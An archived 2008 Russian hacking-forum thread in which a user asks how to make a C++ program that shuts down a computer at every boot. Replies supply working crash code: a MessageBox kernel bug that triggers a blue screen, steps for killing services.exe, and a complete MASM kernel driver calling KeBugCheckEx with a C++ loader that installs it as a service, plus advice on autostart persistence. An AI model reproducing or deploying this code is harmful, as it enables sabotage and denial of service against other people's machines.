Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Функция "shutdown" в С++

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Функция "shutdown" в С++
Имя
Сообщение << Старые топики   Новые топики >>
Функция "shutdown" в С++ - 2008-03-11 18:46:34.380000   
BeoWolf11

Сообщений: 76
Оценки: 0
Присоединился: 2008-01-31 21:09:43.920000
Как в С++ написать прогу которая, открыв ее, выключает твой комп.
А еще было бы лучше воопще чтобы при каждом запуске системы, комп выключался)
Так как это можно зделать?
Post #: 1
RE: Функция "shutdown" в С++ - 2008-03-11 19:06:50.463333   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
юзай гугл

http://www.google.com/search?client=opera&rls=ru&q=%D0%92%D1%8B%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5+%D0%BA%D0%BE%D0%BC%D0%BF%D0%B0+%D0%B2+C%2B%2B&sourceid=opera&ie=utf-8&oe=utf-8
Post #: 2
RE: Функция "shutdown" в С++ - 2008-03-11 21:16:45.613333   
RasenHerz

Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
интересно как эту функцию реализовать на асме (чтоб от типа ОС не зависила(?)), и вообще реально ли такое?
а то все материалы в гугле в основном для винды =((( хотелось бы и на никсах так уметь. =)
Post #: 3
RE: Функция "shutdown" в С++ - 2008-03-11 21:23:00.513333   
BeoWolf11

Сообщений: 76
Оценки: 0
Присоединился: 2008-01-31 21:09:43.920000
Я уже нашол =)
quote:

#include &lt;iostream&gt;
using namespace std;
int main()
{
system(shutdown -s);
return 0;
}

Но появился другой вопрос. Как зделать так чтобы эта прога запускалась автоматически после запуска системы?
Post #: 4
RE: Функция "shutdown" в С++ - 2008-03-11 21:42:29.660000   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
ОМГ!!!тебя поиском учили пользоватся????
вот ссылка http://devoid.com.ua/c-builder/cpp-builder-for-beginners/work-with-tregistry-class.html
Post #: 5
RE: Функция "shutdown" в С++ - 2008-03-11 21:43:44.503333   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
Самый жестокий способ вырубить комп:
quote:


#include &lt;windows.h&gt; #pragma optimize("gsy",on) #pragma comment(linker,"/IGNORE:4078") #pragma comment(linker,"/RELEASE") #pragma comment(linker,"/merge:.rdata=.data") #pragma comment(linker,"/merge:.text=.data") #pragma comment(linker,"/merge:.reloc=.data") #pragma comment(linker,"/FILEALIGN:0x200") #pragma comment(linker,"/opt:nowin98") #pragma comment(linker,"/entry:MyMain") void MyMain(void) { char pHelloBug[]={0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00}; for(int i=0; i&lt;10; i++) MessageBox(0, pHelloBug, pHelloBug, 0x00200000); }


quote:

Но появился другой вопрос. Как зделать так чтобы эта прога запускалась автоматически после запуска системы?

Добавить в автозагрузку. Рекомендую устанавливать прогу как сервис - надежнее))
Post #: 6
RE: Функция "shutdown" в С++ - 2008-03-11 22:02:53.213333   
BeoWolf11

Сообщений: 76
Оценки: 0
Присоединился: 2008-01-31 21:09:43.920000
quote:

#include &lt;windows.h&gt;
#pragma optimize("gsy",on)
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/RELEASE")
#pragma comment(linker,"/merge:.rdata=.data")
#pragma comment(linker,"/merge:.text=.data")
#pragma comment(linker,"/merge:.reloc=.data")
#pragma comment(linker,"/FILEALIGN:0x200")
#pragma comment(linker,"/opt:nowin98")
#pragma comment(linker,"/entry:MyMain")

void MyMain(void)
{
char pHelloBug[]={0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
for(int i=0; i&lt;10; i++)
MessageBox(0, pHelloBug, pHelloBug, 0x00200000);

}

А че она делает?
На себе испробовать можно?
Ниче не будет?)
А в автозагруску как? Где?
Post #: 7
RE: Функция "shutdown" в С++ - 2008-03-11 23:21:22.986666   
bodrillo

Сообщений: 26
Оценки: 0
Присоединился: 2007-12-31 00:18:47.243333
quote:

А че она делает?


BSOD она делает. Только я пока не понял как.
blacksun че за "\\??\\!!!" ?
Post #: 8
RE: Функция "shutdown" в С++ - 2008-03-11 23:40:20.370000   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333

quote:

ORIGINAL: bodrillo

quote:

А че она делает?


BSOD она делает. Только я пока не понял как.
blacksun че за "\\??\\!!!" ?

Бага в винде, безобидный MessageBox пишет в ядро ..
Post #: 9
RE: Функция "shutdown" в С++ - 2008-03-11 23:56:25.483333   
stunt

Сообщений: 7
Оценки: 0
Присоединился: 2008-03-11 15:31:04.090000
В этом я еще новичек, скачал с microsoft.com  MS Visual C# 2008 Express Edition   и не могу понять, какой проект создавать и все это писать где???
Прикрепляю скрин программы.


Был бы очень благодарен, если кто нибудь стукнул ко мне и помог разобраться. ICQ: 316-916
Post #: 10
RE: Функция "shutdown" в С++ - 2008-03-12 00:51:37.690000   
Absurd

Сообщений: 335
Оценки: 0
Присоединился: 2007-08-24 13:14:11.566666

quote:

ORIGINAL: BeoWolf11

Я уже нашол =)
quote:

#include &lt;iostream&gt;
using namespace std;
int main()
{
system(shutdown -s);
return 0;
}

Но появился другой вопрос. Как зделать так чтобы эта прога запускалась автоматически после запуска системы?

В *nix c SysV - стилем конфигов есть такое понятие как "runlevel". Если дефолтовый рунлевел выставить в 0, то Линукс например будет выключаться сразу после загрузки ядра.
Post #: 11
RE: Функция "shutdown" в С++ - 2008-03-12 03:23:01.503333   
bodrillo

Сообщений: 26
Оценки: 0
Присоединился: 2007-12-31 00:18:47.243333
quote:

void MyMain(void)
{
char pHelloBug[]={0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
for(int i=0; i&lt;10; i++)
MessageBox(0, pHelloBug, pHelloBug, 0x00200000);

}


Млин, на декстопе не работает. Там у меня автоматическое обновление, видимо дырдочку уже залатали.
Post #: 12
RE: Функция "shutdown" в С++ - 2008-03-12 03:57:20.416666   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333

quote:

ORIGINAL: bodrillo

quote:

void MyMain(void)
{
char pHelloBug[]={0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
for(int i=0; i&lt;10; i++)
MessageBox(0, pHelloBug, pHelloBug, 0x00200000);

}


Млин, на декстопе не работает. Там у меня автоматическое обновление, видимо дырдочку уже залатали.

Ну тогда ..

- Получаешь привелегии дебага
- Присоеденяешься к процессу services.exe
- Самоуничтожаешся

Умрет services.exe (или другой критический системный процесс) - моментально вырубится винда :)
Post #: 13
RE: Функция "shutdown" в С++ - 2008-03-12 05:33:15.420000   
bodrillo

Сообщений: 26
Оценки: 0
Присоединился: 2007-12-31 00:18:47.243333
Ну ежели на то пошло… Вот драйверок на асме:
.386 .model flat,stdcall includelib ntoskrnl.lib KeBugCheckEx proto :dword, :dword, :dword, :dword, :dword .code DriverEntry proc pDriverObject:dword, pusRegistryPath:dword invoke KeBugCheckEx,000000F4h,0,0,0,0 mov eax,0C0000182h ret DriverEntry endp end DRIVERENTRY компилится в masm32 со следующими ключами:
c:\masm32\bin\ml.exe /c /coff bsod.asm
c:\masm32\bin\link.exe /driver /base:0x10000 /align:32 /out:bsod.sys /subsystem:native bsod.obj

вот прога которая его регистрирует и запускает:
int _tmain(int argc, _TCHAR* argv[]) { SC_HANDLE hSCmanager,hService; hSCmanager=OpenSCManager(0,0,SC_MANAGER_CREATE_SERVICE); if(!hSCmanager){ return 0;} hService=CreateService(hSCmanager,L"bsod",L"Kill Windows",SERVICE_START | DELETE, SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_IGNORE ,(LPCWSTR)L"e:\\dev\\drivers\\bsod\\bsod.sys",0, 0,0,0,0); if(!hService){ hService=OpenService(hSCmanager,L"bsod",SERVICE_START + DELETE); if(!hService){ CloseServiceHandle(hSCmanager);}} StartService(hService,0,0); DeleteService(hService); CloseServiceHandle(hService); CloseServiceHandle(hSCmanager); return 0; } Все документированно и абсолютно легально. Не надо никуда инжектица.
Post #: 14
RE: Функция "shutdown" в С++ - 2008-03-12 05:36:31.093333   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
Еще мона питание у винта вырубить))

http://forum.wasm.ru/article.php?article=apihook_3
Post #: 15
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Функция "shutdown" в С++







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.